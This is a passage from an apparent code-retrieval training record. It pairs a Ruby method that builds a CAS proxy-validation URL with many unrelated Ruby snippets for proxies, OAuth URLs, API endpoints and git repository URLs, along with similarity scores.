"def authorize_url\n request_token.authorize_url\n end",
"def proxy_port\n proxy? ? @options['proxy_port'].to_i : nil\n end",
"def get_url endpoint\n url = @url\n if !url.end_with? \"/\"\n url = \"#{url}/\"\n end\n\n \"#{url}wc-api/#{@version}/#{endpoint}\"\n end",
"def url\n File.join(DigitalRiver.config.oauth_url)\n end",
"def proxy\n ENV['HYPERKIT_PROXY']\n end",
"def redirect_url(realm, return_to=nil, immediate=false)\n message = get_message(realm, return_to, immediate)\n return message.to_url(@endpoint.server_url)\n end",
"def url\n File.join(DigitalRiver.config.oauth_url)\n end",
"def url\n URI.parse(endpoint).join(path.to_s).to_s\n end",
"def authorize_endpoint_url\n uri = URI(openid_config['authorization_endpoint'])\n uri.query = URI.encode_www_form(client_id: client_id,\n redirect_uri: callback_url,\n response_mode: response_mode,\n response_type: response_type,\n nonce: new_nonce)\n uri.to_s\n end",
"def endpoint\n connection.url_prefix\n end",
"def discovery_uri(host = WORLD_WIDE_AUTHORITY)\n URI(DISCOVERY_TEMPLATE.expand(host: host, endpoint: authorize_endpoint))\n end",
"def proxyaddress\n @attributes.fetch('proxyaddress', 'none')\n end",
"def endPoint(path='')\n parts = ['https:/', $cfg['net.host'], 'api:1'] + @uriparts\n s = parts.map{|v| v.to_s}.join('/')\n URI(s + path.to_s)\n end",
"def find_proxy_target(options = {})\n end",
"def target_uri\n \"#{@configuration.protocol}://#{@configuration.host}\"\n end",
"def http_proxy\n @http_proxy ||= begin\n proxy = get_env('HTTP_PROXY') || return\n proxy = \"http://#{proxy}\" unless proxy =~ /^https?:/\n uri = URI.parse(proxy)\n uri.user ||= get_env('HTTP_PROXY_USER')\n uri.password ||= get_env('HTTP_PROXY_PASS')\n uri\n end\n end",
"def proxy_target\n @target\n end",
"def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end",
"def proxy_mgr\n ProxyFetcher.configure do |config|\n config.provider = %i[free_proxy_list_ssl xroxy proxy_list]\n config.proxy_validation_timeout = 15\n config.user_agent = USER_AGENT\n end\n ProxyFetcher::Manager.new\n end",
"def get_authorization_url\n client = Octokit::Client.new\n client.authorize_url(CLIENT_ID, scope: 'public_repo read:org')\n end",
"def get_authorization_url options = {}\n scope = options[:scope] || @scope\n credentials = UserRefreshCredentials.new(\n client_id: @client_id.id,\n client_secret: @client_id.secret,\n scope: scope\n )\n redirect_uri = redirect_uri_for options[:base_url]\n url = credentials.authorization_uri(access_type: \"offline\",\n redirect_uri: redirect_uri,\n approval_prompt: \"force\",\n state: options[:state],\n include_granted_scopes: true,\n login_hint: options[:login_hint])\n url.to_s\n end",
"def authentication_url(params={})\n @request_token.authorize_url params\n end",
"def endpoint_url\n protocol = @secure ? 'https' : 'http'\n endpoint_host = SmsNotify::Api.endpoint_host\n \"#{protocol}://#{endpoint_host}/\"\n end",
"def oauth_url\n @oauth_url || File.join(host, \"oauth20/token\")\n end",
"def request_login_ticket\n uri = URI.parse(login_url+'Ticket')\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = (uri.scheme == 'https')\n https.verify_mode = (@force_ssl_verification ? OpenSSL::SSL::VERIFY_PEER : OpenSSL::SSL::VERIFY_NONE)\n res = https.post(uri.path, ';')\n \n raise CASException, res.body unless res.kind_of? Net::HTTPSuccess\n \n res.body.strip\n end",
"def find_proxy(env=ENV)\n raise BadURIError, \"relative URI: #{self}\" if self.relative?\n name = self.scheme.downcase + '_proxy'\n proxy_uri = nil\n if name == 'http_proxy' && env.include?('REQUEST_METHOD') # CGI?\n # HTTP_PROXY conflicts with *_proxy for proxy settings and\n # HTTP_* for header information in CGI.\n # So it should be careful to use it.\n pairs = env.reject {|k, v| /\\Ahttp_proxy\\z/i !~ k }\n case pairs.length\n when 0 # no proxy setting anyway.\n proxy_uri = nil\n when 1\n k, _ = pairs.shift\n if k == 'http_proxy' && env[k.upcase] == nil\n # http_proxy is safe to use because ENV is case sensitive.\n proxy_uri = env[name]\n else\n proxy_uri = nil\n end\n else # http_proxy is safe to use because ENV is case sensitive.\n proxy_uri = env.to_hash[name]\n end\n if !proxy_uri\n # Use CGI_HTTP_PROXY. cf. libwww-perl.\n proxy_uri = env[\"CGI_#{name.upcase}\"]\n end\n elsif name == 'http_proxy'\n unless proxy_uri = env[name]\n if proxy_uri = env[name.upcase]\n warn 'The environment variable HTTP_PROXY is discouraged. Use http_proxy.'\n end\n end\n else\n proxy_uri = env[name] || env[name.upcase]\n end\n\n if proxy_uri.nil? || proxy_uri.empty?\n return nil\n end\n\n if self.hostname\n require 'socket'\n begin\n addr = IPSocket.getaddress(self.hostname)\n return nil if /\\A127\\.|\\A::1\\z/ =~ addr\n rescue SocketError\n end\n end\n\n name = 'no_proxy'\n if no_proxy = env[name] || env[name.upcase]\n no_proxy.scan(/(?!\\.)([^:,\\s]+)(?::(\\d+))?/) {|host, port|\n if (!port || self.port == port.to_i)\n if /(\\A|\\.)#{Regexp.quote host}\\z/i =~ self.host\n return nil\n elsif addr\n require 'ipaddr'\n return nil if\n begin\n IPAddr.new(host)\n rescue IPAddr::InvalidAddressError\n next\n end.include?(addr)\n end\n end\n }\n end\n URI.parse(proxy_uri)\n end",
"def api_uri\n options.endpoint\n end",
"def server_host\n AgileProxy.config.server_host\n end",
"def host\n return @forwarded_host || @host\n end",
"def endpoint_url\n self.class::ENDPOINT\n end",
"def org_endpoint(session)\n \"#{FABRIC_ORGANIZATIONS_ENDPOINT}/#{session.organization_id}\"\n end",
"def credentials_for(uri, realm); end",
"def http_proxy; end",
"def auth_url\n client.authorization.authorization_uri(state: '', approval_prompt: :force, access_type: :offline, user_id: client_email).to_s\n end",
"def uri_endpoint\n URI( self.endpoint )\n end",
"def webserver_host\n AgileProxy.config.webserver_host\n end",
"def request_token_url\n @options[:request_token_url] || site + request_token_path\n end"
] |
[
"0.6436615",
"0.6221361",
"0.6175792",
"0.6175792",
"0.6166769",
"0.6137671",
"0.6137671",
"0.60677004",
"0.6045298",
"0.6045298",
"0.60039616",
"0.6000598",
"0.5977207",
"0.5941528",
"0.5904027",
"0.5875034",
"0.586606",
"0.58257544",
"0.5754683",
"0.5707499",
"0.56356704",
"0.55221546",
"0.55087316",
"0.5466383",
"0.5464154",
"0.5315347",
"0.52918595",
"0.5291593",
"0.52776426",
"0.52764034",
"0.52747774",
"0.5269652",
"0.5249029",
"0.5245862",
"0.5241396",
"0.52366734",
"0.52270377",
"0.522501",
"0.5221825",
"0.52212614",
"0.5215154",
"0.5197481",
"0.5190242",
"0.518481",
"0.5183276",
"0.51826996",
"0.51659334",
"0.51580733",
"0.5155235",
"0.5152652",
"0.51361877",
"0.5119112",
"0.51167023",
"0.5115887",
"0.51130885",
"0.51086044",
"0.5090441",
"0.50887287",
"0.5083496",
"0.5077942",
"0.5074226",
"0.50628114",
"0.5055959",
"0.5041481",
"0.50305355",
"0.5029127",
"0.50282234",
"0.50262976",
"0.5019551",
"0.5019106",
"0.50188494",
"0.5018675",
"0.5012974",
"0.501236",
"0.500702",
"0.50046617",
"0.49966404",
"0.49919373",
"0.4986153",
"0.4982758",
"0.4979959",
"0.4976826",
"0.49735615",
"0.49693605",
"0.4966897",
"0.49549872",
"0.49520382",
"0.49514422",
"0.49491733",
"0.49480242",
"0.4942852",
"0.4931592",
"0.4924709",
"0.49210975",
"0.49210888",
"0.4912854",
"0.49106675",
"0.49105394",
"0.4903405"
] |
0.7227306
|
1
|
Returns the proxy ticket validation endpoint for the configured CAS URL.
|
def proxy_validate_url
URI.join(cas_url, 'proxyValidate').to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def service_validate_url\n URI.join(cas_url, 'serviceValidate').to_s\n end",
"def service_validate_url\n URI.join(cas_url, 'serviceValidate').to_s\n end",
"def proxy_url\n URI.join(cas_url, 'proxy').to_s\n end",
"def proxy_url\n URI.join(cas_url, 'proxy').to_s\n end",
"def validation_url\n service_validate_url\n end",
"def spice_proxy_url\n service = core_client.get_service('spice-proxy', @namespace)\n host = service.spec.externalIPs.first\n port = service.spec.ports.first.port\n url = URI::Generic.build(\n scheme: 'http',\n host: host,\n port: port,\n )\n url.to_s\n end",
"def get_defined_proxy\n prime_proxy = ENV.select { |k,v| v if k =~ /http_proxy/i }.first\n if prime_proxy.nil?\n prime_proxy = ENV.select { |k,v| v if k =~ /all_proxy/i }.first\n end\n return nil if prime_proxy.nil?\n\n URI.parse(prime_proxy[1])\n end",
"def endpoint\n \"#{scheme}://#{host}#{suffix}#{reverse_proxy_path}\"\n end",
"def service_validate_url(service, ticket)\n service = service.sub(/[?&]ticket=[^?&]+/, '')\n url = append_service(@service_validate_url, service)\n url << '&ticket=' << Rack::Utils.escape(ticket)\n end",
"def tool_proxy_service_endpoint(tcp)\n tp_services = tcp['service_offered'].find do |s|\n s['format'] == [ToolProxy::TOOL_PROXY_FORMAT]\n end\n\n # Retrieve and return the endpoint of the ToolProxy.collection service\n URI.parse(tp_services['endpoint']) unless tp_services.blank?\n end",
"def tool_proxy_service_endpoint(tcp)\n tp_services = tcp['service_offered'].find do |s|\n s['format'] == [ToolProxy::TOOL_PROXY_FORMAT]\n end\n\n # Retrieve and return the endpoint of the ToolProxy.collection service\n URI.parse(tp_services['endpoint']) unless tp_services.blank?\n end",
"def proxy_uri\n @proxy_uri ||= URI.parse(config(\"proxy-uri\"))\n end",
"def proxy_address\n proxy? ? @options['proxy_address'] || '127.0.0.1' : nil\n end",
"def proxyaddress\n config[\"proxyaddress\"]\n end",
"def endpoint\n @endpoint ||= \"https://#{@subdomain}.desk.com\"\n end",
"def proxy_address\n ENV[\"CHEF_API_PROXY_ADDRESS\"] || config[\"CHEF_API_PROXY_ADDRESS\"]\n end",
"def wsfe_url\n raise 'Environment not sent to either :test or :production' unless Afip::URLS.keys.include? environment\n Afip::URLS[Afip.environment][:wsfe]\n end",
"def service_url(svc)\n \"#{@host}#{SERVICES[svc]}\"\n end",
"def proxy_uri; end",
"def proxy_uri; end",
"def proxy_addr; end",
"def endpoint_url\n protocol = @secure ? 'https' : 'http'\n endpoint_host = SmsNotify::Api.endpoint_host\n \"#{protocol}://#{endpoint_host}/\"\n end",
"def endpoint\n @endpoint||= \"#{@scheme}://#{@host}#{@path}\"\n end",
"def getproxyuri\n proxy = self.getproxy\n proxy_uri = (proxy != nil )? URI.parse(proxy) : nil\n return proxy_uri\n end",
"def url\n 'https://' + request.host\n end",
"def solve_wsdl_url\n\t\t\t\tconfig = BingAdsApi::Config.instance\n\t\t\t\treturn config.service_wsdl(environment, get_service_name)\n\t\t\tend",
"def getproxyuri\n proxy = self.getproxy\n proxy_uri = (proxy != nil )? URI.parse(proxy) : nil\n return proxy_uri\n end",
"def get_redirect_uri\n if Rails.env.development? \n #local_port = ':' + request.port.to_s()\n local_port = \":3000\"\n else\n local_port = \"\"\n end\n \"http://#{request.host}#{local_port}/jobs/accept\"\n end",
"def http_proxy_uri\n @tools.http_proxy_url\n end",
"def spice_proxy_url\n @conn.spice_proxy_url\n end",
"def proxy(deferrable=nil)\n deferrable ||= EventMachine::DefaultDeferrable.new\n\n proxy = @proxies.choice\n deferrable.fail unless proxy\n\n proxy_response = proxy.validate(@verification_url)\n proxy_response.callback do\n if proxy.valid?\n deferrable.succeed(proxy)\n else\n self.proxy(deferrable)\n end\n end\n\n proxy_response.errback do\n @proxies.delete(proxy)\n @dead_proxies.push(proxy)\n end\n\n deferrable\n end",
"def proxy_url_for(url)\n\n # look for a matching proxy.\n matched = nil\n matched_url = nil\n\n @proxies.each do |proxy_url, opts|\n matched_url = proxy_url\n matched = opts if url =~ /^#{proxy_url}/\n break if matched\n end\n\n # If matched, rewrite the URL\n if matched\n\n # rewrite the matched_url if needed...\n if matched[:url]\n url = url.gsub(/^#{matched_url}/, matched[:url])\n end\n\n # prepend the hostname and protocol\n url = [(matched[:protocol] || 'http'), '://', matched[:to], url].join('')\n\n # otherwise nil\n else\n url = nil\n end\n\n return [url, matched]\n\n end",
"def request_proxy_ticket(pgt, target_service)\n uri = URI.parse(proxy_url)\n h = uri.query ? query_to_hash(uri.query) : {}\n h['pgt'] = pgt.ticket\n h['targetService'] = target_service\n uri.query = hash_to_query(h)\n \n pr = request_cas_response(uri, ProxyResponse)\n \n pt = ProxyTicket.new(pr.proxy_ticket, target_service)\n pt.response = pr\n \n return pt\n end",
"def authorize_url(ticket = nil)\n ticket = self.ticket unless ticket\n \"#{ api.base_url }/auth/#{ ticket }\"\n end",
"def api_url\n @api_url ||= URI.parse(::File.join(base_url, endpoint))\n end",
"def endpoint\n @endpoint ||= 'https://api.emailcampaigns.net/2/REST/'\n end",
"def endpoint\n \"#{@scheme}://#{@host}#{@path}\"\n end",
"def endpoint_url\n # @@api_base + @request.endpoint\n ApiBase + @endpoint\n end",
"def base_url\n URI::HTTPS.build(host: @server, port: @port, path: @api)\n end",
"def http(url)\n proxy_uri = URI.parse(config.value('proxy').to_s)\n http = Net::HTTP::Proxy(proxy_uri.host,\n proxy_uri.port,\n proxy_uri.user,\n proxy_uri.password).new(url.host, url.port)\n if url.is_a?(URI::HTTPS)\n http.use_ssl = true\n http.ca_file = config.value(\"ssl_cert_file\")\n http.verify_mode = VERIFY_MODE\n end\n http\n end",
"def token_endpoint\n URI::HTTPS.build(host: @host, path: '/' + @tenant + TOKEN_PATH)\n end",
"def set_endpoint\n if ambiente == :producao\n return GetnetApi::Configure::URL[:producao]\n elsif ambiente == :homologacao\n return GetnetApi::Configure::URL[:homologacao]\n else\n return GetnetApi::Configure::URL[:sandbox]\n end\n end",
"def url\n return @url if @url\n\n case environment\n when :production\n PRODUCTION_API_ENDPOINT\n when :sandbox\n SANDBOX_API_ENDPOINT\n end\n end",
"def proxy_port\n proxy? ? @options['proxy_port'].to_i : nil\n end",
"def proxyport\n config[\"proxyport\"]\n end",
"def solr_url(solr_config)\n return solr_config[:url] if solr_config.key?(:url)\n return solr_config['url'] if solr_config.key?('url')\n if @index_full_text == true && solr_config.key?(:fulltext) && solr_config[:fulltext].key?('url')\n solr_config[:fulltext]['url']\n elsif solr_config.key?(:default) && solr_config[:default].key?('url')\n solr_config[:default]['url']\n else\n raise URI::InvalidURIError\n end\n end",
"def solr_url\n if ENV['SOLR_URL'] || ENV['WEBSOLR_URL']\n URI.parse(ENV['SOLR_URL'] || ENV['WEBSOLR_URL'])\n end\n end",
"def proxy_port; end",
"def patched_url\n result = url\n return result if result.start_with?('/', 'http')\n \"/#{result}\"\n end",
"def url\n \"#{scheme}://#{domain}\" + ((port == 80) ? \"\" : \":#{port}\")\n end",
"def url\n \"#{scheme}://#{domain}\" + ((port == 80) ? '' : \":#{port}\")\n end",
"def http_proxy_uri\n @http_proxy_uri ||= begin\n keys = %w( HTTP_PROXY HTTP_PROXY_USER HTTP_PROXY_PASS )\n env = Hash[ENV.\n map{|k, v| [k.upcase, v]}.\n select{|k, v| keys.include?(k)}.\n reject{|k, v| v.nil? || v.empty?}]\n\n uri = env[\"HTTP_PROXY\"] or return\n uri = \"http://#{uri}\" unless uri =~ /^(https?|ftp|file):/\n uri = URI.parse(uri)\n uri.user ||= env[\"HTTP_PROXY_USER\"]\n uri.password ||= env[\"HTTP_PROXY_PASS\"]\n uri\n end\n end",
"def url\n @url ||= \"http://#{host}:#{port}\"\n end",
"def redirect_url\n @redirect_url ||= pxpay_request.url rescue add_gateway_error\n end",
"def find_http_proxy\n ret = [nil, nil]\n\n # check the platform. If we're running in windows then we need to \n # check the registry\n if @opt['use_proxy'] || @opt['proxy_url']\n if @opt['proxy_url'] && @opt['proxy_url'].size > 0\n uri = parse_url(@opt['proxy_url'], 'proxy URL')\n ret = [uri.host, uri.port]\n elsif RUBY_PLATFORM =~ /win32/i\n # Find a proxy in Windows by checking the registry.\n # this code shamelessly copied from Raggle :D\n\n require 'win32/registry'\n\n Win32::Registry::open(\n Win32::Registry::HKEY_CURRENT_USER,\n 'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings'\n ) do |reg|\n # check and see if proxy is enabled\n if reg.read('ProxyEnable')[1] != 0\n # get server, port, and no_proxy (overrides)\n server = reg.read('ProxyServer')[1]\n np = reg.read('ProxyOverride')[1]\n\n server =~ /^([^:]+):(.+)$/\n ret = [$1, $2]\n\n # don't bother with no_proxy support\n # ret['no_proxy'] = np.gsub(/;/, ',') if np && np.length > 0\n end\n end\n else\n # handle UNIX systems\n PROXY_ENV_VARS.each do |env_var|\n if ENV[env_var]\n # if we found a proxy, then parse it\n ret = ENV[env_var].sub(/^http:\\/\\/([^\\/]+)\\/?$/, '\\1').split(':')\n ret[1] = ret[1].to_i if ret[1]\n break\n end\n end\n # $stderr.puts \"DEBUG: http_proxy = #{ENV['http_proxy']}, ret = [#{ret.join(',')}]\"\n end\n else \n # proxy is disabled\n ret = [nil, nil]\n end\n\n # return host and port\n ret\n end",
"def endPoint(path='')\n parts = ['https:/', $cfg['net.host'], 'api:1'] + @uriparts\n s = parts.map{|v| v.to_s}.join('/')\n URI(s + path.to_s)\n end",
"def webserver_host\n AgileProxy.config.webserver_host\n end",
"def endpoint_url\n self.class::ENDPOINT\n end",
"def find_http_proxy\n ret = [nil, nil]\n\n # check the platform. If we're running in windows then we need to \n # check the registry\n if @use_proxy\n if RUBY_PLATFORM =~ /win32/i\n # Find a proxy in Windows by checking the registry.\n # this code shamelessly copied from Raggle :D\n\n require 'win32/registry'\n\n Win32::Registry::open(\n Win32::Registry::HKEY_CURRENT_USER,\n 'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings'\n ) do |reg|\n # check and see if proxy is enabled\n if reg.read('ProxyEnable')[1] != 0\n # get server, port, and no_proxy (overrides)\n server = reg.read('ProxyServer')[1]\n np = reg.read('ProxyOverride')[1]\n\n server =~ /^([^:]+):(.+)$/\n ret = [$1, $2]\n\n # don't bother with no_proxy support\n # ret['no_proxy'] = np.gsub(/;/, ',') if np && np.length > 0\n end\n end\n else\n # handle UNIX systems\n PROXY_ENV_VARS.each do |env_var|\n if ENV[env_var]\n # if we found a proxy, then parse it\n ret = ENV[env_var].sub(/^http:\\/\\/([^\\/]+)\\/?$/, '\\1').split(':')\n ret[1] = ret[1].to_i if ret[1]\n break\n end\n end\n # $stderr.puts \"DEBUG: http_proxy = #{ENV['http_proxy']}, ret = [#{ret.join(',')}]\"\n end\n else \n # proxy is disabled\n ret = [nil, nil]\n end\n\n # return host and port\n ret\n end",
"def proxy_port\n ENV[\"CHEF_API_PROXY_PORT\"] || config[\"CHEF_API_PROXY_PORT\"]\n end",
"def url\n \"#{addr}:#{port}\"\n end",
"def validator\n @validator ||= PuppetX::PuppetCommunity::HttpValidator.new(\n resource[:name],\n resource[:host],\n resource[:port],\n resource[:use_ssl],\n resource[:test_url],\n resource[:expected_code],\n resource[:verify_peer]\n )\n end",
"def cas_proxy_authentication(request, session)\n if !cas_logged_in?(request, session)\n cas_base_url = SETTINGS.cas[:host]\n client = CASClient::Client.new(\n :cas_base_url => cas_base_url\n )\n client.configure(\n :username_session_key => :access_token,\n :cas_base_url => cas_base_url\n )\n service_url = read_service_url(request)\n url = client.add_service_to_login_url(service_url)\n redirect url\n return true\n end\n end",
"def service_uri\n \"#{host}#{service_path}\"\n end",
"def get_url\n URI.parse(\"#{@server}#{URL}\")\n end",
"def proxy?\n @options.has_key?('proxy_port')\n end",
"def webhook_url\n return @config[ :webhook ]\n end",
"def http_and_https_proxy_working?(proxy_address)\n http_uri = URI('http://www.google.com/')\n https_uri = URI('https://www.google.com/')\n\n split_arr = proxy_address.split(':')\n proxy_host = split_arr[0]\n proxy_port = split_arr[1]\n\n http_success = web_proxy_health_check(proxy_host, proxy_port, http_uri)\n https_success = web_proxy_health_check(proxy_host, proxy_port, https_uri)\n\n if http_success && https_success\n return true\n end\n return false\n end",
"def error_endpoint\n @error_endpoint ||=\n begin\n self.error_host = ('https://' << error_host) if error_host !~ %r{\\Ahttps?://}\n api = \"api/v3/projects/#{project_id}/notices\"\n URI.join(error_host, api)\n end\n end",
"def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end",
"def host\n return @@nfg_urls['sandbox']['host'] if @use_sandbox\n @@nfg_urls['production']['host']\n end",
"def proxyaddress\n @attributes.fetch('proxyaddress', 'none')\n end",
"def api_endpoint\n @api_endpoint ||= ENDPOINTS[:sandbox][:api]\n end",
"def slack_url\n raise Exception.new('You need to load the configuration before using it.') if @config.nil?\n\n return @config[SLACK_URL_KEY]\n end",
"def solr_url\n @solr_url ||= @configurations[:solr_url]\n end",
"def smart_proxy_domain\n if proxy_base_domain =~ /^#{appname}/\n return proxy_base_domain \n end\n proxy_domains\n end",
"def url\n URI.parse(endpoint).join(path.to_s).to_s\n end",
"def url\n if @service_url.nil?\n @service_url = @protocol + '://' + @host + '/' +\n (@path_prefix.empty? ? '' : (@path_prefix + '/')) + @key + '/'\n end\n @service_url\n end",
"def url\n return @@nfg_urls['sandbox']['url'] if @use_sandbox\n @@nfg_urls['production']['url']\n end",
"def get_url endpoint\n url = @url\n if !url.end_with? \"/\"\n url = \"#{url}/\"\n end\n\n \"#{url}wc-api/#{@version}/#{endpoint}\"\n end",
"def lookup_proxy_definition\n return if proxy_definition\n\n @proxy_definition = proxy_source.lookup_constant_path(proxy_name)\n end",
"def port\n ssl ? 443 : 80\n end",
"def target_uri\n \"#{@configuration.protocol}://#{@configuration.host}\"\n end",
"def service_endpoint url\n endpoint = LIST.find do |(pattern, endpoint)|\n url =~ pattern\n end\n endpoint[1] = endpoint.last.gsub('{2}', endpoint.first.match(url).to_a[2]) if endpoint.first.match(url) && endpoint.first.match(url).to_a[2]\n endpoint ? endpoint.last : false\n end",
"def service_management_url\n return @service_management_url\n end",
"def full_url(env)\n \"#{ SSL_SCHEME }://#{ host }:#{ port }#{ ::Rack::Request.new(env).fullpath }\"\n end",
"def auth_endpoint\n URI.join(TodoableApi.configuration.endpoint, 'api/authenticate')\n end",
"def endpoint\n connection.url_prefix\n end",
"def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end",
"def api_uri\n options.endpoint\n end",
"def url\n @url = \"#{@http_mode}://#{self.config.servers[0]}\"\n @url << \"/#{self.config.context}\" if(!self.config.context.empty?)\n #self.config.log.debug_msg(\"Request base URL: #{@url}\")\n @url\n end",
"def get_verification_url\n '/#validation/'+self.id.to_s+'/code/'+self.verification_code\n end",
"def request_login_ticket\n uri = URI.parse(login_url+'Ticket')\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = (uri.scheme == 'https')\n https.verify_mode = (@force_ssl_verification ? OpenSSL::SSL::VERIFY_PEER : OpenSSL::SSL::VERIFY_NONE)\n res = https.post(uri.path, ';')\n \n raise CASException, res.body unless res.kind_of? Net::HTTPSuccess\n \n res.body.strip\n end",
"def faraday_proxy(options)\n return options[:proxy] if options[:proxy]\n\n proxy = options[:options]\n proxy[:http_proxy_uri] if proxy[:http_proxy_uri]\n end",
"def zendesk_agent_url\n \"https://getchef.zendesk.com/agent/tickets/#{zendesk_id}\"\n end",
"def to_real_url(url, test_case = nil, &bl)\n case config.host\n when Proc\n config.host.call(url, test_case)\n when String\n url =~ /^http/ ? url : \"#{config.host}#{url}\"\n else\n return url if url =~ /^http/\n return yield(url) if block_given?\n raise \"Unable to resolve `#{url}` : no host resolver provided\\nSee `Configuration#host=\"\n end\n end",
"def proxy?\n self.proxy_host and self.proxy_host.match(/\\A\\S+\\z/)\n end",
"def using_authenticated_proxy?; end",
"def proxy\n\t\t\tself.options[:proxy]\n\t\tend"
] |
[
"0.6927571",
"0.6927571",
"0.67784005",
"0.67784005",
"0.63889503",
"0.58226556",
"0.5812752",
"0.57911944",
"0.5709596",
"0.56785464",
"0.56785464",
"0.55982965",
"0.55319154",
"0.5475032",
"0.54404485",
"0.5390163",
"0.5323196",
"0.5287103",
"0.5208841",
"0.5208841",
"0.51635414",
"0.51595575",
"0.5155059",
"0.5153179",
"0.5145884",
"0.51161635",
"0.5102678",
"0.5062298",
"0.50078857",
"0.50014794",
"0.49953467",
"0.49913564",
"0.49899817",
"0.49826965",
"0.49741635",
"0.4970219",
"0.49563277",
"0.49551556",
"0.49480367",
"0.49359858",
"0.49247026",
"0.49187547",
"0.49173212",
"0.49160042",
"0.4901715",
"0.48932928",
"0.4874559",
"0.48720106",
"0.48705226",
"0.48349985",
"0.48261812",
"0.48160526",
"0.48081192",
"0.4806444",
"0.47958168",
"0.4795097",
"0.47948653",
"0.47898155",
"0.47880167",
"0.47857615",
"0.47821933",
"0.47719654",
"0.4757777",
"0.47565892",
"0.47434232",
"0.47210333",
"0.47203964",
"0.47191396",
"0.47173122",
"0.47118652",
"0.47091085",
"0.47066152",
"0.47047755",
"0.4704073",
"0.47018057",
"0.46962526",
"0.46953502",
"0.46930593",
"0.46850976",
"0.46765926",
"0.46634105",
"0.4661515",
"0.46590653",
"0.46589252",
"0.46462256",
"0.46402878",
"0.46385688",
"0.4637167",
"0.46353322",
"0.46344197",
"0.46332818",
"0.46330377",
"0.46319816",
"0.46317807",
"0.4622049",
"0.4620854",
"0.4618979",
"0.46175188",
"0.46172842"
] |
0.7894354
|
1
|
Build a cloneable repo url using http and basic auth
|
def repo_url_with_auth
auth = "gitlab-ci-token:#{token}@"
http_url_to_repo.sub(/^https?:\/\//) do |prefix|
prefix + auth
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clone_url\n \"git://github.com/#{@account}/#{name}.git\"\n end",
"def giturl(project_name, repo_name) ; end",
"def url\n \"http://github.com/#{repo.owner.login}/#{repo.name}/#{name}\"\n end",
"def repository_url(repositiory)\n http_uri + repositiory.path\n end",
"def git_clone\n\n Rugged::Repository.clone_at git_url, root_path.to_s if git_url\n end",
"def url\n \"http://github.com/#{login}\"\n end",
"def canonical_repository_url\n \"https://#{@settings.host}/scm/#{attributes[:repository_namespace]}/#{attributes[:repository_name]}.git\"\n end",
"def clone_url\n raise \"not implemented\"\n end",
"def repo_url(path = \"\")\n if @repo.url\n url = URI::parse(@repo.url)\n url.path = (url.path + \"/\" + path).gsub(%r'//+', '/')\n url.to_s\n else\n compose_url \"/svc/repo\", @repo.name, path\n end\n end",
"def git_clone_repo(host, git_clone_path, git_source)\n on(host, \"git clone #{git_source} #{git_clone_path}\")\nend",
"def initialize(repo_name, basic_auth)\n @base_url = BASE_URL % repo_name\n @basic_auth = basic_auth\n end",
"def lfs_http_url_to_repo(_operation = nil)\n http_url_to_repo\n end",
"def groupon_path(repo)\n github = \"github.groupondev.com\"\n ENV[\"INTERNAL_GEMS_OVER_SSH\"] ? \"git@#{github}:#{repo}.git\" : \"https://#{github}/#{repo}.git\"\nend",
"def gitrepo(repo, name, ref = 'master')\n mod name.split('/').join('-'),\n :git => \"https://#{repo}/#{name}.git\",\n :ref => ref\nend",
"def get_repo(project)\n return 'https://github.com/NuCivic/' + project\n end",
"def clone_repo(repo_name, username)\n ` git clone http://github.com/#{username}/#{repo_name}.git /tmp/#{repo_name} `\n end",
"def url_for_fetching\n server = Settings.git_server(url)\n if server.mirror.present?\n url.gsub(%r{(git@|https://).*?(:|/)}, server.mirror)\n else\n url\n end\n end",
"def user_repos_url(username,token) # :yields:String\n BASE_URL + USERS + \"#{username}/\" + \"repos?access_token=#{token}\"\n end",
"def clone_repository\n `cd #{client.config.tmp_folder} && git clone #{client.config.repository_url}.git`\n `cd #{client.config.tmp_folder}/#{client.config.repository_name} && git fetch origin #{client.config.ref_tree} && git reset --hard FETCH_HEAD`\n end",
"def url\n \"http://github.com/#{@account}/#{name}/tree/master\"\n end",
"def getWikiRepositoryUrl(full = true)\n\n @host = 'https://github.com/'\n\n if @conf['wikiToJekyll']['wiki_repository_url']\n url = @conf['wikiToJekyll']['wiki_repository_url'].sub('.wiki.git', '') + '/wiki'\n else\n url = @host + @conf['wikiToJekyll']['user_name'] + '/' + @conf['wikiToJekyll']['repository_name'] + '/wiki'\n end\n\n if full == false\n return url.sub(@host, '')\n else\n return url\n end\n end",
"def clone\n # We do the clone against the target repo using the `--reference` flag so\n # that doing a normal `git pull` on a directory will work.\n git \"clone --reference #{@cache.path} #{@remote} #{@full_path}\"\n git \"remote add cache #{@cache.path}\", :path => @full_path\n end",
"def github_url\n @github_url ||= \"https://github.com/#{options[:github_owner]}/#{name}\"\n end",
"def remote_repository\n \"http://www.aQute.biz/repo\"\n end",
"def git_clone(url, target)\n cmd = \"git clone #{url} #{target}\"\n\n protocol = 'git'\n protocols = url.split(':')[0]\n protocols.split('+').each do |proto|\n next if proto == 'git'\n protocol = proto\n end\n\n if protocol.length == 0\n syserr 'Empty protocol'\n raise\n end\n\n case protocol\n when /http/i, /ftp/i, /https/i, /ssh/i, /git/i\n else\n syserr \"Unsupported protocol #{protocol}\"\n raise\n end\n\n unless sysexec(cmd)\n syserr 'git failed'\n raise\n end\nend",
"def get_ai_repo_url(options)\n repo_ver = get_ai_repo_version(options)\n repo_url = \"pkg:/entire@0.5.11-\"+repo_ver\n return repo_url\nend",
"def repository_base_url(result)\n if result['slug'] && AppConfig[:use_human_readable_urls]\n url = \"repositories/\" + result['slug']\n else\n url = result['uri']\n end\n\n return url\n end",
"def github_url\n \"https://github.com/#{self.nickname}\"\n end",
"def build_url(url)\n return url unless http_auth\n\n protocol, uri = detect_protocol(url)\n username, password = [:username, :password].map { |part| CGI.escape http_auth[part] }\n \"#{protocol}#{username}:#{password}@#{uri}\"\n end",
"def ssh_url\n uri = URI.parse(git_url)\n uri.scheme = 'ssh'\n uri.path = ''\n uri.fragment = nil\n uri\n end",
